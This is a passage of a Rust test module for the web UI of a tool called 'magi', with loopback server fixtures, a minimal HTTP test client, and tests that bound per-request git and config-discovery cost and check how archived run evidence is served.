11775        let dir = TempDir::new().unwrap();
11776        let store = ask::Questions::at(dir.path().to_path_buf());
11777        let mut with_deputy = plain_question("b");
11778        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
11779        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
11780
11781        let calls = std::cell::Cell::new(0usize);
11782        let views = question_views(qs.clone(), &store, || {
11783            calls.set(calls.get() + 1);
11784            Some(stub_config())
11785        });
11786        assert_eq!(calls.get(), 1);
11787        assert_eq!(views.len(), 3);
11788        for (v, q) in views.iter().zip(&qs) {
11789            assert_eq!(
11790                v.deputies_enabled,
11791                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
11792            );
11793        }
11794
11795        let views = question_views(qs, &store, || None);
11796        assert!(views.iter().all(|v| !v.deputies_enabled));
11797
11798        let calls = std::cell::Cell::new(0usize);
11799        let views = question_views(Vec::new(), &store, || {
11800            calls.set(calls.get() + 1);
11801            None
11802        });
11803        assert!(views.is_empty());
11804        assert_eq!(calls.get(), 0);
11805    }
11806
11807    use pretty_assertions::assert_eq;
11808    use serde_json::Value;
11809    use tempfile::TempDir;
11810    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
11811
11812    use super::*;
11813
11814    // Embedded assets preserve checkout line endings. Source assertions use
11815    // logical lines, independent of the platform's checkout conversion.
11816    static APP_JS: std::sync::LazyLock<String> =
11817        std::sync::LazyLock::new(|| super::APP_JS.replace("\r\n", "\n"));
11818    static APP_CSS: std::sync::LazyLock<String> =
11819        std::sync::LazyLock::new(|| super::APP_CSS.replace("\r\n", "\n"));
11820    use crate::config::Config;
11821    use crate::queue::Source;
11822
11823    /// How many 10ms steps a settle loop takes before it calls a stall a
11824    /// stall - thirty seconds.
11825    ///
11826    /// These loops wait on real `sh` subprocesses, and the machine that runs
11827    /// the gate runs several suites at once, so a two-second budget was not
11828    /// waiting for the reply, it was racing the scheduler: two of these
11829    /// tests failed under that load with the turn simply not landed yet.
11830    /// This is a hang guard, not a latency assertion - every loop breaks the
11831    /// moment its condition holds, so a generous cap costs an idle machine
11832    /// nothing and still fails a genuine hang instead of hanging the suite.
11833    const SETTLE_STEPS: usize = 3_000;
11834
11835    /// A home with a queue and a runs directory, and a router serving it on
11836    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
11837    /// dependency, not ours - so the tests drive a real socket, which has the
11838    /// side benefit of asserting the status line and content types the phone
11839    /// actually receives.
11840    struct Fixture {
11841        home: TempDir,
11842        addr: SocketAddr,
11843    }
11844
11845    impl Fixture {
11846        async fn start() -> Self {
11847            Self::with_loop(launch_idle).await
11848        }
11849
11850        /// A fixture whose loop is `launch`.
11851        async fn with_loop(launch: Launch) -> Self {
11852            let home = TempDir::new().expect("temp home");
11853            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
11854            Self { home, addr }
11855        }
11856
11857        /// A fixture whose `ui.repo` is a real directory rather than the
11858        /// usual placeholder - for the routes that read config off it
11859        /// (`GET /api/repos`) and would otherwise have nothing to discover.
11860        async fn with_repo(repo: PathBuf) -> Self {
11861            let home = TempDir::new().expect("temp home");
11862            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
11863            Self { home, addr }
11864        }
11865
11866        /// As [`Fixture::with_repo`], with the machine-config file the
11867        /// settings screen reads and writes.
11868        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
11869            let home = TempDir::new().expect("temp home");
11870            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
11871            Self { home, addr }
11872        }
11873
11874        async fn serve(
11875            home: &FsPath,
11876            repo: PathBuf,
11877            launch: Launch,
11878            machine: Option<PathBuf>,
11879        ) -> SocketAddr {
11880            let queue = Queue::at(home.join("queue"));
11881            let runs = home.join("runs");
11882            std::fs::create_dir_all(&runs).expect("runs dir");
11883            let worktrees = home.join("wt").join("magi");
11884            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
11885            let ui = Ui::new(
11886                queue,
11887                Questions::at(home.join("questions")),
11888                Talks::at(home.join("talks")),
11889                runs,
11890                home.to_path_buf(),
11891                repo,
11892            )
11893            .with_worktrees_root(worktrees)
11894            .with_machine_config(machine)
11895            .with_launch(launch);
11896            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11897                .await
11898                .expect("bind loopback");
11899            let addr = listener.local_addr().expect("local addr");
11900            tokio::spawn(async move {
11901                let router = ui
11902                    .router()
11903                    .layer(axum::middleware::from_fn(request_cost::observe));
11904                let _ = axum::serve(listener, router).await;
11905            });
11906            addr
11907        }
11908
11909        fn queue(&self) -> Queue {
11910            Queue::at(self.home.path().join("queue"))
11911        }
11912
11913        fn questions(&self) -> Questions {
11914            Questions::at(self.home.path().join("questions"))
11915        }
11916
11917        fn talks(&self) -> Talks {
11918            Talks::at(self.home.path().join("talks"))
11919        }
11920
11921        fn runs(&self) -> PathBuf {
11922            self.home.path().join("runs")
11923        }
11924
11925        async fn get(&self, path: &str) -> Res {
11926            request(self.addr, "GET", path, None).await
11927        }
11928
11929        /// The status and headers without the body, which is how the front end
11930        /// preflights a panel: a sandboxed frame is opaque to the parent
11931        /// document, so the only way to tell "no panel" from "a panel that
11932        /// rendered blank" is to ask before mounting.
11933        async fn head(&self, path: &str) -> Res {
11934            request(self.addr, "HEAD", path, None).await
11935        }
11936
11937        async fn post(&self, path: &str, body: Option<&str>) -> Res {
11938            request(self.addr, "POST", path, body).await
11939        }
11940
11941        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
11942            request_with(self.addr, "GET", path, None, extra).await
11943        }
11944
11945        async fn delete(&self, path: &str) -> Res {
11946            request(self.addr, "DELETE", path, None).await
11947        }
11948
11949        async fn put(&self, path: &str, body: &str) -> Res {
11950            request(self.addr, "PUT", path, Some(body)).await
11951        }
11952
11953        /// `POST` a raw body with its own headers - see [`request_bytes`].
11954        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
11955            request_bytes(self.addr, path, headers, body).await
11956        }
11957    }
11958
11959    /// Real tracking refs exercise the successful discovery path (including
11960    /// extraction), rather than counting cheap failures on a placeholder repo.
11961    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
11962        let tmp = TempDir::new().unwrap();
11963        let mut repos = Vec::new();
11964        for name in ["one", "two"] {
11965            let repo = tmp.path().join(name);
11966            let origin = tmp.path().join(format!("{name}.git"));
11967            std::fs::create_dir_all(&repo).unwrap();
11968            crate::git::git(&repo, &["init", "-b", "main"])
11969                .await
11970                .unwrap();
11971            std::fs::write(
11972                repo.join("magi.toml"),
11973                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11974            )
11975            .unwrap();
11976            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11977            crate::git::git(
11978                &repo,
11979                &[
11980                    "-c",
11981                    "user.name=fixture",
11982                    "-c",
11983                    "user.email=fixture@example.invalid",
11984                    "commit",
11985                    "-m",
11986                    "fixture",
11987                ],
11988            )
11989            .await
11990            .unwrap();
11991            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11992                .await
11993                .unwrap();
11994            crate::git::git(
11995                &repo,
11996                &["remote", "add", "origin", origin.to_str().unwrap()],
11997            )
11998            .await
11999            .unwrap();
12000            crate::git::git(&repo, &["push", "origin", "main"])
12001                .await
12002                .unwrap();
12003            crate::git::git(
12004                &repo,
12005                &[
12006                    "symbolic-ref",
12007                    "refs/remotes/origin/HEAD",
12008                    "refs/remotes/origin/main",
12009                ],
12010            )
12011            .await
12012            .unwrap();
12013            let (cfg, _) = Config::discover(&repo, None).unwrap();
12014            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
12015            repos.push(repo);
12016        }
12017        let repos: [PathBuf; 2] = repos.try_into().unwrap();
12018        (tmp, repos)
12019    }
12020
12021    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
12022        let (tmp, repos) = performance_repositories().await;
12023        let machine = tmp.path().join("machine.toml");
12024        std::fs::write(&machine, "").unwrap();
12025        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
12026        (tmp, repos, fx)
12027    }
12028
12029    fn seed_performance(
12030        fx: &Fixture,
12031        repos: &[PathBuf; 2],
12032        questions: usize,
12033        runs: usize,
12034        items: usize,
12035    ) {
12036        // Saving states directly never starts a run or changes MAGI_HOME.
12037        for i in fx.questions().list().len()..questions {
12038            let mut question = Question::new(
12039                "20261001-000000-0000".into(),
12040                "implement".into(),
12041                "impl-A".into(),
12042                format!("question {i}"),
12043                "context".into(),
12044                vec!["yes".into(), "no".into()],
12045            );
12046            question.id = format!("20261003-000000-{i:04x}");
12047            fx.questions().put(&mut question).unwrap();
12048        }
12049        for i in run_ids(&fx.runs()).len()..runs {
12050            write_run_repo(
12051                &fx.runs(),
12052                &format!("20261001-000000-{i:04x}"),
12053                RunStatus::Ready,
12054                repos[i % 2].to_str().unwrap(),
12055            );
12056        }
12057        for i in fx.talks().list().len()..items {
12058            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
12059            let mut talk = fx.talks().get(&id).unwrap();
12060            talk.repo = repos[i % 2].clone();
12061            fx.talks().put(&mut talk).unwrap();
12062            let mut task = crate::queue::Task::new(
12063                format!("task {i}"),
12064                "instruction".into(),
12065                repos[i % 2].clone(),
12066                crate::queue::Source::Agent {
12067                    run: id,
12068                    node: crate::queue::CHAT_NODE.into(),
12069                },
12070            );
12071            task.id = format!("20261004-000000-{i:04x}");
12072            fx.queue().put(&mut task).unwrap();
12073            // Notices has a production retention cap; seed up to that cap.
12074            if i < crate::notices::CAP {
12075                Notices::at(fx.home.path().join("notifications"))
12076                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
12077                    .unwrap();
12078            }
12079        }
12080        assert_eq!(fx.questions().list().len(), questions);
12081        assert_eq!(run_ids(&fx.runs()).len(), runs);
12082        assert_eq!(fx.talks().list().len(), items);
12083        assert_eq!(fx.queue().list().len(), items);
12084        assert_eq!(
12085            Notices::at(fx.home.path().join("notifications"))
12086                .list()
12087                .len(),
12088            items.min(crate::notices::CAP)
12089        );
12090    }
12091
12092    #[tokio::test]
12093    async fn source_eviction_web_diffs_survive_repository_removal_and_reject_corruption() {
12094        let home = TempDir::new().unwrap();
12095        let root = home.path().canonicalize().unwrap();
12096        let addr = Fixture::serve(&root, root.join("repo"), launch_idle, None).await;
12097        let fx = Fixture { home, addr };
12098        let repo = root.as_path().join("archive-repo");
12099        std::fs::create_dir(&repo).unwrap();
12100        crate::git::git(&repo, &["init", "-b", "main"])
12101            .await
12102            .unwrap();
12103        crate::git::git(&repo, &["config", "user.name", "Fixture"])
12104            .await
12105            .unwrap();
12106        crate::git::git(&repo, &["config", "user.email", "fixture@example.invalid"])
12107            .await
12108            .unwrap();
12109        crate::git::git(&repo, &["config", "commit.gpgsign", "false"])
12110            .await
12111            .unwrap();
12112        std::fs::write(repo.join("source"), "base").unwrap();
12113        crate::git::git(&repo, &["add", "."]).await.unwrap();
12114        crate::git::git(&repo, &["commit", "-m", "base"])
12115            .await
12116            .unwrap();
12117        let base = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
12118        std::fs::write(repo.join("source"), "archived review").unwrap();
12119        crate::git::git(&repo, &["commit", "-am", "review"])
12120            .await
12121            .unwrap();
12122        let head = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
12123        let mut config = Config::default();
12124        config.graph.worktree_root = Some(root.as_path().join("copies"));
12125        let mut state = RunState::new(
12126            repo.clone(),
12127            "main".into(),
12128            base.clone(),
12129            "archive".into(),
12130            config,
12131        );
12132        state.id = "20260101-000000-ef05".into();
12133        state.status = RunStatus::Ready;
12134        state.save_under(root.as_path()).unwrap();
12135        let evidence =
12136            crate::fold_evidence::snapshot(&state, root.as_path(), &head, 64 * 1024 * 1024)
12137                .await
12138                .unwrap();
12139        let base_evidence =
12140            crate::fold_evidence::snapshot(&state, root.as_path(), &base, 64 * 1024 * 1024)
12141                .await
12142                .unwrap();
12143        let source = state.worktree_root().join("review-1");
12144        let mut contents = std::collections::BTreeMap::new();
12145        contents.insert(
12146            repo.join("logs/HEAD"),
12147            format!("{base} {head} fixture\n").into_bytes(),
12148        );
12149        let record = serde_json::json!({
12150            "version":1, "run":state.id, "source":source, "head":head,
12151            "evidence":evidence, "admin":{}, "admin_contents":contents,
12152            "history":{base:base_evidence, head.clone():evidence}, "phase":"evicted"
12153        });
12154        std::fs::write(
12155            fx.runs()
12156                .join(&state.id)
12157                .join("artifacts/eviction-review-1.json"),
12158            serde_json::to_vec(&record).unwrap(),
12159        )
12160        .unwrap();
12161        std::fs::remove_dir_all(&repo).unwrap();
12162        let url = format!("/api/runs/{}/seat-evidence", state.id);
12163        let list = fx.get(&url).await;
12164        assert_eq!(list.status, 200, "{}", list.body);
12165        assert_eq!(list.json()[&head], "review-1");
12166        let patch = fx.get(&format!("{url}/{head}")).await;
12167        assert_eq!(patch.status, 200, "{}", patch.body);
12168        assert!(patch.body.contains("+archived review"));
12169        assert_eq!(fx.get(&format!("{url}/unknown")).await.status, 404);
12170        std::fs::write(evidence.join("objects.pack"), "corrupt").unwrap();
12171        assert_eq!(fx.get(&url).await.status, 404);
12172        assert_eq!(fx.get(&format!("{url}/{head}")).await.status, 404);
12173    }
12174
12175    fn request_counts(res: &Res) -> (usize, usize) {
12176        assert_eq!(res.status, 200, "{}", res.body);
12177        (
12178            res.header("x-test-discoveries").unwrap().parse().unwrap(),
12179            res.header("x-test-git").unwrap().parse().unwrap(),
12180        )
12181    }
12182
12183    #[tokio::test]
12184    async fn list_request_cost_is_independent_of_record_count() {
12185        let mut previous = None;
12186        for n in [4, 60] {
12187            // Health refreshes configuration on a detached thread. Run it
12188            // last and give each scale its own repository/cache so that
12189            // refresh cannot warm the next measured cold extraction.
12190            let (_tmp, repos, fx) = performance_fixture().await;
12191            seed_performance(&fx, &repos, n, n, n);
12192            let mut costs = Vec::new();
12193            for (path, discoveries) in [
12194                ("/api/questions", 1),
12195                ("/api/talks", 0),
12196                ("/api/stats", 1),
12197                ("/api/health", 0),
12198            ] {
12199                // Equal cold extraction caches at both scales; this also
12200                // bounds first-request cost instead of only warmed requests.
12201                for repo in &repos {
12202                    let cache = repo.join(".git/magi/config");
12203                    if cache.exists() {
12204                        std::fs::remove_dir_all(cache).unwrap();
12205                    }
12206                }
12207                let cost = request_counts(&fx.get(path).await);
12208                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
12209                assert_eq!(cost.0, discoveries, "{path}, N={n}");
12210                assert!(
12211                    cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
12212                    "{path}: {cost:?}"
12213                );
12214                costs.push(cost);
12215            }
12216            if let Some(previous) = previous {
12217                assert_eq!(costs, previous);
12218            }
12219            previous = Some(costs);
12220        }
12221        // runs reads shared row inputs and probes process liveness; queue
12222        // builds one blocker inventory; notifications reads its own store.
12223        // None discovers configuration or spawns git per item.
12224    }
12225
12226    /// The same handler path without transport, so the deterministic cause
12227    /// can also be checked in environments that prohibit binding sockets.
12228    #[tokio::test]
12229    async fn list_handler_cost_without_transport() {
12230        let mut previous = None;
12231        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
12232            // As in the transport test, isolate each scale from the previous
12233            // health request's detached configuration refresh.
12234            let (_tmp, repos) = performance_repositories().await;
12235            let fx = Fixture {
12236                home: TempDir::new().unwrap(),
12237                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12238            };
12239            let ui = Arc::new(
12240                Ui::new(
12241                    fx.queue(),
12242                    fx.questions(),
12243                    fx.talks(),
12244                    fx.runs(),
12245                    fx.home.path().to_path_buf(),
12246                    repos[0].clone(),
12247                )
12248                .with_worktrees_root(fx.home.path().join("wt")),
12249            );
12250            seed_performance(&fx, &repos, n, runs, items);
12251            let mut costs = Vec::new();
12252            for endpoint in ["questions", "talks", "stats", "health"] {
12253                for repo in &repos {
12254                    let cache = repo.join(".git/magi/config");
12255                    if cache.exists() {
12256                        std::fs::remove_dir_all(cache).unwrap();
12257                    }
12258                }
12259                let (_, cost) = request_cost::measure(async {
12260                    match endpoint {
12261                        "questions" => {
12262                            let _ = questions_list(State(ui.clone())).await.unwrap();
12263                        }
12264                        "talks" => {
12265                            let _ = talks_list(
12266                                State(ui.clone()),
12267                                Query(ListQuery {
12268                                    limit: None,
12269                                    ids: None,
12270                                }),
12271                                header::HeaderMap::new(),
12272                            )
12273                            .await
12274                            .unwrap();
12275                        }
12276                        "health" => {
12277                            let _ = health(State(ui.clone())).await.unwrap();
12278                        }
12279                        _ => {
12280                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
12281                                .await
12282                                .unwrap();
12283                        }
12284                    }
12285                })
12286                .await;
12287                eprintln!("{endpoint} handler N={n}: {cost:?}");
12288                assert_eq!(
12289                    cost.0,
12290                    if matches!(endpoint, "talks" | "health") {
12291                        0
12292                    } else {
12293                        1
12294                    },
12295                    "{endpoint}"
12296                );
12297                assert!(
12298                    cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
12299                    "{endpoint}: {cost:?}"
12300                );
12301                costs.push(cost);
12302            }
12303            if let Some(previous) = previous {
12304                assert_eq!(costs, previous);
12305            }
12306            previous = Some(costs);
12307        }
12308    }
12309
12310    #[tokio::test]
12311    async fn monitor_and_periodic_update_recheck_git_cost() {
12312        let (tmp, repos) = performance_repositories().await;
12313        let fx = Fixture {
12314            home: TempDir::new().unwrap(),
12315            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12316        };
12317        let ui = Arc::new(
12318            Ui::new(
12319                fx.queue(),
12320                fx.questions(),
12321                fx.talks(),
12322                fx.runs(),
12323                fx.home.path().to_path_buf(),
12324                repos[0].clone(),
12325            )
12326            .with_worktrees_root(fx.home.path().join("wt")),
12327        );
12328        let cache = repos[0].join(".git/magi/config");
12329        if cache.exists() {
12330            std::fs::remove_dir_all(&cache).unwrap();
12331        }
12332
12333        let (_, monitor_cost) = request_cost::measure(async {
12334            let mut snapshot = None;
12335            for _ in 0..20 {
12336                let state = Arc::clone(&ui);
12337                snapshot = Some(
12338                    tokio::task::spawn_blocking(request_cost::carry(move || {
12339                        monitor_scan(&state, snapshot)
12340                    }))
12341                    .await
12342                    .unwrap(),
12343                );
12344            }
12345        })
12346        .await;
12347        assert_eq!(monitor_cost, (0, 0));
12348
12349        // The idle update worker, unlike the revision monitor, reads config.
12350        let (_, cold_cost) = request_cost::measure(async {
12351            for _ in 0..20 {
12352                assert_eq!(update_recheck_once(&ui).await, UPDATE_RECHECK_POLL_MAX);
12353            }
12354        })
12355        .await;
12356        assert_eq!(cold_cost, (20, 21));
12357
12358        // Move `origin/main` via a separate clone without touching `repos[0]`'s
12359        // working tree, then fetch; the next scan must immediately observe the
12360        // new committed `magi.toml`.
12361        let origin = tmp.path().join("one.git");
12362        let pusher = tmp.path().join("pusher-one");
12363        crate::git::git(
12364            tmp.path(),
12365            &[
12366                "clone",
12367                "-b",
12368                "main",
12369                origin.to_str().unwrap(),
12370                pusher.to_str().unwrap(),
12371            ],
12372        )
12373        .await
12374        .unwrap();
12375        std::fs::write(
12376            pusher.join("magi.toml"),
12377            format!("{MOCK_AGENT_TOML}\n[graph]\nimplementers = 3\n[repos]\nroots = []\n[update]\nmode = \"off\"\ninterval = \"1m\"\n[verify]\ne2e = []\ngate = []\n"),
12378        )
12379        .unwrap();
12380        crate::git::git(&pusher, &["add", "magi.toml"])
12381            .await
12382            .unwrap();
12383        crate::git::git(
12384            &pusher,
12385            &[
12386                "-c",
12387                "user.name=fixture",
12388                "-c",
12389                "user.email=fixture@example.invalid",
12390                "commit",
12391                "-m",
12392                "bump implementers",
12393            ],
12394        )
12395        .await
12396        .unwrap();
12397        crate::git::git(&pusher, &["push", "origin", "main"])
12398            .await
12399            .unwrap();
12400        crate::git::git(&repos[0], &["fetch", "origin"])
12401            .await
12402            .unwrap();
12403
12404        let (observed, moved_cost) = request_cost::measure(update_recheck_once(&ui)).await;
12405        assert_eq!(observed, UPDATE_RECHECK_POLL_MIN);
12406        assert_eq!(moved_cost, (1, 2));
12407        let (observed_again, warm_cost) = request_cost::measure(update_recheck_once(&ui)).await;
12408        assert_eq!(observed_again, observed);
12409        assert_eq!(warm_cost, (1, 1));
12410    }
12411
12412    #[tokio::test]
12413    async fn list_request_cost_scopes_do_not_mix() {
12414        let (_tmp, repos, fx) = performance_fixture().await;
12415        seed_performance(&fx, &repos, 10, 0, 10);
12416        let (questions, talks, notices) = tokio::join!(
12417            fx.get("/api/questions"),
12418            fx.get("/api/talks"),
12419            fx.get("/api/notifications")
12420        );
12421        assert_eq!(request_counts(&questions).0, 1);
12422        // Cached summaries perform no config discovery or git work, even
12423        // alongside the questions request that still discovers config.
12424        assert_eq!(request_counts(&talks), (0, 0));
12425        assert_eq!(request_counts(&notices), (0, 0));
12426    }
12427
12428    #[tokio::test]
12429    async fn list_endpoints_large_home_responses() {
12430        check_large_home_endpoints(false).await;
12431    }
12432
12433    #[tokio::test]
12434    #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
12435    async fn list_endpoints_large_home_ceiling() {
12436        check_large_home_endpoints(true).await;
12437    }
12438
12439    async fn check_large_home_endpoints(timed: bool) {
12440        let (_tmp, repos, fx) = performance_fixture().await;
12441        seed_performance(&fx, &repos, 200, 300, 400);
12442        let mut failures = Vec::new();
12443        // app.js boot/change loads plus the initial dashboard, settings and
12444        // repo picker. SSE is a persistent stream, not a bounded GET.
12445        for path in [
12446            "/",
12447            "/app.js",
12448            "/app.css",
12449            "/api/questions",
12450            "/api/runs?limit=300",
12451            "/api/queue",
12452            "/api/talks",
12453            "/api/notifications",
12454            "/api/health",
12455            "/api/stats",
12456            "/api/loop",
12457            "/api/settings",
12458            "/api/repos",
12459        ] {
12460            let start = std::time::Instant::now();
12461            let result = if timed {
12462                tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
12463            } else {
12464                Ok(fx.get(path).await)
12465            };
12466            let elapsed = start.elapsed();
12467            eprintln!("{path}: {elapsed:?}");
12468            match result {
12469                Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
12470                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
12471                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
12472            }
12473        }
12474        assert!(failures.is_empty(), "{}", failures.join("\n"));
12475    }
12476
12477    struct Res {
12478        status: u16,
12479        headers: String,
12480        /// The header block with its original casing, for the assertions that
12481        /// compare a header *value* rather than looking for a name. Lowercasing
12482        /// a CSP would hide a directive spelled with a capital letter, and the
12483        /// whole point of that test is that the string is exactly right.
12484        head: String,
12485        body: String,
12486        /// The body before any UTF-8 handling, for the routes that serve
12487        /// something other than text. A panel asset is a PNG as often as not,
12488        /// and `from_utf8_lossy` would silently replace half of it.
12489        bytes: Vec<u8>,
12490    }
12491
12492    impl Res {
12493        fn json(&self) -> Value {
12494            serde_json::from_str(&self.body)
12495                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
12496        }
12497
12498        /// One header's value verbatim, or `None` when it was not sent.
12499        fn header(&self, name: &str) -> Option<&str> {
12500            self.head.lines().find_map(|line| {
12501                let (key, value) = line.split_once(':')?;
12502                key.trim()
12503                    .eq_ignore_ascii_case(name)
12504                    .then(|| value.trim_start().trim_end_matches('\r'))
12505            })
12506        }
12507    }
12508
12509    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
12510    /// be read to end-of-stream without parsing framing.
12511    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
12512        request_with(addr, method, path, body, &[]).await
12513    }
12514
12515    /// As [`request`], with extra request headers - conditional GETs need
12516    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
12517    /// worse than one that sets none.
12518    async fn request_with(
12519        addr: SocketAddr,
12520        method: &str,
12521        path: &str,
12522        body: Option<&str>,
12523        extra: &[(&str, &str)],
12524    ) -> Res {
12525        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12526        for (name, value) in extra {
12527            head.push_str(&format!("{name}: {value}\r\n"));
12528        }
12529        if let Some(body) = body {
12530            head.push_str("Content-Type: application/json\r\n");
12531            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
12532        }
12533        head.push_str("\r\n");
12534        if let Some(body) = body {
12535            head.push_str(body);
12536        }
12537        let mut socket = tokio::net::TcpStream::connect(addr)
12538            .await
12539            .expect("connect to the test server");
12540        socket
12541            .write_all(head.as_bytes())
12542            .await
12543            .expect("write request");
12544        let mut raw = Vec::new();
12545        socket.read_to_end(&mut raw).await.expect("read response");
12546        // Split on the raw bytes rather than on a lossy string, so a binary
12547        // body survives to be compared byte for byte.
12548        let split = raw
12549            .windows(4)
12550            .position(|w| w == b"\r\n\r\n")
12551            .expect("a header block");
12552        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12553        let bytes = raw[split + 4..].to_vec();
12554        let status = head
12555            .lines()
12556            .next()
12557            .and_then(|line| line.split_whitespace().nth(1))
12558            .and_then(|code| code.parse().ok())
12559            .expect("a status line");
12560        Res {
12561            status,
12562            headers: head.to_lowercase(),
12563            head,
12564            body: String::from_utf8_lossy(&bytes).into_owned(),
12565            bytes,
12566        }
12567    }
12568
12569    /// A `POST` carrying a raw binary body and its own headers, for the
12570    /// attachment upload route - `request_with` only ever sends
12571    /// `Content-Type: application/json`, which is wrong for an image and
12572    /// would corrupt anything not valid UTF-8 by round-tripping it through
12573    /// `&str` first.
12574    async fn request_bytes(
12575        addr: SocketAddr,
12576        path: &str,
12577        headers: &[(&str, &str)],
12578        body: &[u8],
12579    ) -> Res {
12580        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12581        for (name, value) in headers {
12582            head.push_str(&format!("{name}: {value}\r\n"));
12583        }
12584        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
12585        let mut socket = tokio::net::TcpStream::connect(addr)
12586            .await
12587            .expect("connect to the test server");
12588        socket
12589            .write_all(head.as_bytes())
12590            .await
12591            .expect("write request head");
12592        socket.write_all(body).await.expect("write request body");
12593        let mut raw = Vec::new();
12594        socket.read_to_end(&mut raw).await.expect("read response");
12595        let split = raw
12596            .windows(4)
12597            .position(|w| w == b"\r\n\r\n")
12598            .expect("a header block");
12599        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12600        let bytes = raw[split + 4..].to_vec();
12601        let status = head
12602            .lines()
12603            .next()
12604            .and_then(|line| line.split_whitespace().nth(1))
12605            .and_then(|code| code.parse().ok())
12606            .expect("a status line");
12607        Res {
12608            status,
12609            headers: head.to_lowercase(),
12610            head,
12611            body: String::from_utf8_lossy(&bytes).into_owned(),
12612            bytes,
12613        }
12614    }
12615
12616    /// A run on disk, without touching the process-global magi home.
12617    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
12618        let mut state = RunState::new(
12619            PathBuf::from("/repo/magi"),
12620            "main".to_owned(),
12621            "0123456789abcdef".to_owned(),
12622            "Add a web UI\n\nMobile first.".to_owned(),
12623            Config::default(),
12624        );
12625        state.id = id.to_owned();
12626        state.status = status;
12627        let dir = runs.join(id);
12628        std::fs::create_dir_all(&dir).expect("run dir");
12629        std::fs::write(
12630            dir.join("run.json"),
12631            serde_json::to_string_pretty(&state).expect("serialize run"),
12632        )
12633        .expect("write run.json");
12634    }
12635
12636    /// Same as [`write_run`], but against a named repository rather than the
12637    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
12638    /// spread across more than one.
12639    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
12640        let mut state = RunState::new(
12641            PathBuf::from(repo),
12642            "main".to_owned(),
12643            "0123456789abcdef".to_owned(),
12644            "task".to_owned(),
12645            Config::default(),
12646        );
12647        state.id = id.to_owned();
12648        state.status = status;
12649        let dir = runs.join(id);
12650        std::fs::create_dir_all(&dir).expect("run dir");
12651        std::fs::write(
12652            dir.join("run.json"),
12653            serde_json::to_string_pretty(&state).expect("serialize run"),
12654        )
12655        .expect("write run.json");
12656    }
12657
12658    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
12659        let body = serde_json::json!({
12660            "schema": 1,
12661            "pid": 4242,
12662            "started_at": Timestamp::now().to_string(),
12663            "updated_at": updated_at.to_string(),
12664            "idle": false,
12665            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
12666            "completed": 7,
12667            "polls": 143,
12668        });
12669        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
12670    }
12671
12672    /// A loop that starts, finds nothing to do, and waits to be told to stop.
12673    ///
12674    /// No test in this file may start the real loop - see [`Ui::launch`] for
12675    /// why - so this stands in for the only thing the routes need a loop to
12676    /// do: keep running until `Stop` is set, then return. A real
12677    /// `serve_until` here would resolve its queue and its status file through
12678    /// the process-global magi home, claim whatever it found in the
12679    /// operator's live backlog, overwrite the status file of the `magi serve`
12680    /// that owns it, and spend real agent quota on a real competition.
12681    fn launch_idle(
12682        _opts: daemon::Opts,
12683        stop: daemon::Stop,
12684    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12685        Box::pin(async move {
12686            while !stop.stopped() {
12687                tokio::time::sleep(Duration::from_millis(2)).await;
12688            }
12689            Ok(())
12690        })
12691    }
12692
12693    /// A loop that fails on the way up, the way one whose home has gone
12694    /// read-only does.
12695    fn launch_broken(
12696        _opts: daemon::Opts,
12697        _stop: daemon::Stop,
